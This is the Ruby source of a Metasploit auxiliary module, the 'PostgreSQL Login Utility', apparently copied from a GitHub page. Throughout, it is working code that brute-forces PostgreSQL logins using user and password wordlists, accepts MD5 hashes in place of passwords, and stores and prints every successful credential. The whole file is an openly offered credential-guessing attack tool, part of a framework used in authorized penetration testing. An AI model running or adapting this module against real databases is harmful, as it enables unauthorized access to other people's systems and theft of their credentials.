3123175 Mar 8, 2016
113 lines (94 sloc) 3.62 KB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'metasploit/framework/credential_collection'
require 'metasploit/framework/login_scanner/postgres'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name' => 'PostgreSQL Login Utility',
'Description' => %q{
This module attempts to authenticate against a PostgreSQL
instance using username and password combinations indicated
by the USER_FILE, PASS_FILE, and USERPASS_FILE options. Note that
passwords may be either plaintext or MD5 formatted hashes.
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.postgresql.org' ],
[ 'CVE', '1999-0502'], # Weak password
[ 'URL', 'https://hashcat.net/forum/archive/index.php?thread-4148.html' ] # Pass the Hash
]
))
register_options(
[
Opt::Proxies,
OptPath.new('USERPASS_FILE', [ false, "File containing (space-seperated) users and passwords, one pair per line",
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_userpass.txt") ]),
OptPath.new('USER_FILE', [ false, "File containing users, one per line",
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_user.txt") ]),
OptPath.new('PASS_FILE', [ false, "File containing passwords, one per line",
File.join(Msf::Config.data_directory, "wordlists", "postgres_default_pass.txt") ]),
], self.class)
deregister_options('SQL')
end
# Loops through each host in turn. Note the current IP address is both
# ip and datastore['RHOST']
def run_host(ip)
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS'],
realm: datastore['DATABASE']
)
cred_collection = prepend_db_passwords(cred_collection)
scanner = Metasploit::Framework::LoginScanner::Postgres.new(
host: ip,
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 30,
framework: framework,
framework_module: self,
)
scanner.scan! do |result|
credential_data = result.to_h
credential_data.merge!(
module_fullname: self.fullname,
workspace_id: myworkspace_id
)
if result.success?
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
# Alias for RHOST
def rhost
datastore['RHOST']
end
# Alias for RPORT
def rport
datastore['RPORT']
end
end